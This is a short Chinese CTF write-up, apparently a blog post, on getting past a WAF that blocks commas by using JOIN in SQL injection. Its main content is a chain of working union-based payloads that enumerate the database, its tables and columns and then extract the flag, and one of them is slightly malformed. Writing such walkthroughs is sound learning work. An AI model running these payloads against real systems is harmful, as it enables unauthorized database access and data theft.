zoukankan      html  css  js  c++  java
  • 逗号拦截绕过

    今天做了一道i春秋上面的题,一些东西可以记录一下。

    查看源码按源码提示输入login.php?id=1

    burp抓包后也没什么有价值的信息。看了别人的wp发现,需要对第一个页面抓包,然后可以找到一个302重定向。简单理解就是在我们进入题目的那一刻有一个页面跳转。

    真实的url是l0gin.php?id=1.

    跟进这个文件

     按套路首先测一下数据库中被过滤的字符。

    发现当输入id=1' and ascii(substr((select database()),1,1))>64 %23

    逗号被waf掉了。

    学习了一下无逗号注入

    记录一下

     如果不存在逗号的问题,正常的套路应该是

    ?id=-1' union select 1,2#

    ?id=-1' union select database(),2#

    ?id=-1' union select table_name from information.schema.tables where  table_schema where table_schema=database() #

    join代替逗号:

    一,-1' union select * from (select database()) a join (select 2) b %23

    数据库名sqli

    二,查数据表

    -1' union select * from (select group_concat(distinct(table_name)) from information_schema.tables where table_schema='sqli') a join ( select 2 ) b %23

    三,

    -1 ' union select * from (select group_concat(distinct(column_name)) from information_schema.columns where table_schema='sqli' and table_name='users') a join ( select 2 ) b %23

    四,

    -1' union select * from (select group_concat(distinct(flag_9c861b688330)) from users) a join (select 2) b %23

    flag{39502a7a-7f1d-4bd4-bd72-eddba8603eea}

  • 相关阅读:
    允许debian wheezy支持IOS7+的iphone.
    openSUSE 国内镜像摘要
    策略模式总结
    顺序串
    WindowState注意事项
    NLP | 自然语言处理
    Using Autorelease Pool Blocks
    NSAutoreleasePool & thread
    oc语言特性
    oc语言基础整理
  • 原文地址:https://www.cnblogs.com/sylover/p/10991106.html
Copyright © 2011-2022 走看看